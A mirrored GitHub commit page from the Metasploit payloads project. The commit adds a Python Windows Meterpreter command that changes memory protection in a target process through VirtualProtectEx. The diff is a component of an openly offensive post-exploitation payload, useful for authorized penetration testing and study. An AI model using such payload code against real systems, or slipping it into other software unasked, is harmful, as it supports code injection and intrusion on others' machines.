1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-01-14 17:37:27 +01:00

Land #643, Add stdapi_sys_porcess_memory_protect

changing memory protection is available in python windows meterpreter
This commit is contained in:
Spencer McIntyre 2023-05-08 11:15:54 -04:00
commit f5f5ba9f1e
No known key found for this signature in database
GPG Key ID: 58101BA0D0D9C987

View File

@ -1707,6 +1707,26 @@ def stdapi_sys_process_memory_write(request, response):
response += tlv_pack(TLV_TYPE_LENGTH, written.value)
return ERROR_SUCCESS, response
@register_function_if(has_windll)
def stdapi_sys_process_memory_protect(request, response):
handle = packet_get_tlv(request, TLV_TYPE_HANDLE).get('value')
base = packet_get_tlv(request, TLV_TYPE_BASE_ADDRESS).get('value')
size = packet_get_tlv(request, TLV_TYPE_LENGTH).get('value')
prot = packet_get_tlv(request, TLV_TYPE_PROTECTION).get('value')
if not (handle and base and size):
return ERROR_INVALID_PARAMETER, response
VirtualProtectEx = ctypes.windll.kernel32.VirtualProtectEx
VirtualProtectEx.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t, ctypes.c_ulong, ctypes.c_void_p]
VirtualProtectEx.restype = ctypes.c_long
old_prot = ctypes.c_ulong()
if not VirtualProtectEx(handle, base, size, prot, ctypes.byref(old_prot)):
return error_result_windows(), response
response += tlv_pack(TLV_TYPE_PROTECTION, old_prot.value)
return ERROR_SUCCESS, response
@register_function_if(has_windll)
def stdapi_sys_process_memory_free(request, response):
handle = packet_get_tlv(request, TLV_TYPE_HANDLE).get('value', 0)